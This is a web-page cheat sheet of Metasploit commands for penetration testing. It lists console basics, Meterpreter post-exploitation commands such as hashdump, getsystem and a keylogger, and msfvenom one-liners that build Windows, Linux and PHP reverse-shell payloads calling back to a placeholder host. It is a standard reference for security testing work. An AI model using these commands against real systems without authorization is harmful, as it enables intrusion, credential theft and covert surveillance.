Penetration Testing

Metasploit Commands

3 sections23 commands

Core Commands

8 entries
  • msfconsoleStart Metasploit
  • search <keyword>Search modules
  • use <module>Select module
  • infoShow module info
  • show optionsShow required options
  • set RHOSTS <target>Set target
  • exploit / runExecute module
  • backExit current module

Meterpreter Commands

10 entries
  • sysinfoSystem information
  • getuidCurrent user
  • getsystemAttempt privilege escalation
  • hashdumpDump password hashes
  • upload <file>Upload file to target
  • download <file>Download file from target
  • shellDrop to system shell
  • screenshotTake screenshot
  • keyscan_startStart keylogger
  • portfwd add -l <port> -p <port> -r <target>Port forwarding

Payload Generation (msfvenom)

5 entries
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exeWindows reverse shell
  • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell.elfLinux reverse shell
  • msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f raw > shell.phpPHP reverse shell
  • msfvenom -l payloadsList all payloads
  • msfvenom -l encodersList all encoders
Back to cheat sheets